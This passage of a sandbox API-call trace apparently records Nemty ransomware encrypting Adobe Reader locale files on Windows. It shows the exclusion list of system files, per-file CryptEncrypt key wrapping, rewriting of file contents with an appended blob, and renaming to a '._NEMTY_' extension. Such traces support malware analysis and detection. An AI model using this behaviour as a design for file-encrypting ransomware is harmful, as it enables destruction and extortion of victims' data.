[0174.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0174.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.500] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\accessibility.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\accessibility.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.502] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=42496) returned 1 [0174.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa600) returned 0x6352c48 [0174.502] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.502] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa600, lpOverlapped=0x0) returned 1 [0174.506] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.506] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa600, lpOverlapped=0x0) returned 1 [0174.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.506] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=42496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa600 [0174.506] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.506] CloseHandle (hObject=0x2e8) returned 1 [0174.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0174.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0174.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0174.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0174.507] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\accessibility.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\accessibility.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\accessibility.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\accessibility.dan._nemty_kgobjgd_")) returned 1 [0174.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.508] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x64600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.DAN", cAlternateFileName="")) returned 1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2=".") returned 1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="..") returned 1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="...") returned 1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="windows") returned -1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="rsa") returned -1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="NTDETECT.COM") returned -1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="ntldr") returned -1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="MSDOS.SYS") returned -1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="IO.SYS") returned -1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="boot.ini") returned -1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="boot.ini") returned -1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="AUTOEXEC.BAT") returned -1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="ntuser.dat") returned -1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="desktop.ini") returned -1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="CONFIG.SYS") returned -1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="RECYCLER") returned -1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="BOOTSECT.BAK") returned -1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="bootmgr") returned -1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="programdata") returned -1 [0174.508] lstrcmpiW (lpString1="Acroform.DAN", lpString2="appdata") returned -1 [0174.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DAN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DAN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DAN", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DAN", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.509] Sleep (dwMilliseconds=0x5) [0174.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1baa7ad0, dwHighDateTime=0x1d561e8)) [0174.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1baa7ad0, dwHighDateTime=0x1d561e8)) [0174.515] GetLastError () returned 0x0 [0174.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.515] GetLastError () returned 0x0 [0174.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.515] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.515] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.515] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.515] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="F7erEfaMcHcY7aPtlSTqB6WYwXcpWfGyvgWgBt+tTTtRLsF46nmE2Yl5FAxkQGpI\r\nEcXEuJj8MpML238VBBZp/E8cszUy/bfB/Z0YLj1GlUREDPGhNtmLsqmRSKIe4fFO\r\nyp55FjbwnnomSRxHAE74QqgjueANPQIkWbFujJ/eBZJa09nU8Hux/LDNZS8gxr1b\r\nm2UtXDRoT5kls7HYDdIm7dIUjy3tIJ2TmLsUR1piKWi0XGqkuS3N+/LiO06U/jRc\r\nurNkkDYcp96sRJ36tZfVwKU1JoF97ujMFJnqzjCjCS7cDf8YMs96Nmy2DB1MKFQi\r\n4I8gFYyMQA8YksFR1Gl3XQ==\r\n", pcchString=0x653e5dc) returned 1 [0174.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.516] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Acroform.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\acroform.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.516] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=411136) returned 1 [0174.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0174.516] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.516] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0174.526] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.526] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0174.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.526] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=411136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x64600 [0174.526] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.527] CloseHandle (hObject=0x2e8) returned 1 [0174.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.528] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Acroform.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\acroform.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Acroform.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\acroform.dan._nemty_kgobjgd_")) returned 1 [0174.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.529] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.DAN", cAlternateFileName="ADOBEC~1.DAN")) returned 1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2=".") returned 1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="..") returned 1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="...") returned 1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="windows") returned -1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="rsa") returned -1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="NTDETECT.COM") returned -1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="ntldr") returned -1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="MSDOS.SYS") returned -1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="IO.SYS") returned -1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="boot.ini") returned -1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="boot.ini") returned -1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="AUTOEXEC.BAT") returned -1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="ntuser.dat") returned -1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="desktop.ini") returned -1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="CONFIG.SYS") returned -1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="RECYCLER") returned -1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="BOOTSECT.BAK") returned -1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="bootmgr") returned -1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="programdata") returned -1 [0174.529] lstrcmpiW (lpString1="AdobeCollabSync.DAN", lpString2="appdata") returned -1 [0174.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DAN", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0174.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DAN", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.DAN", lpUsedDefaultChar=0x0) returned 19 [0174.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0174.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DAN", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0174.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DAN", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.DAN", lpUsedDefaultChar=0x0) returned 19 [0174.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0174.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DAN", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0174.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DAN", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.DAN", lpUsedDefaultChar=0x0) returned 19 [0174.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DAN", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0174.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DAN", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.DAN", lpUsedDefaultChar=0x0) returned 19 [0174.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0174.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0174.530] Sleep (dwMilliseconds=0x5) [0174.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bacdc30, dwHighDateTime=0x1d561e8)) [0174.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bacdc30, dwHighDateTime=0x1d561e8)) [0174.530] GetLastError () returned 0x0 [0174.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 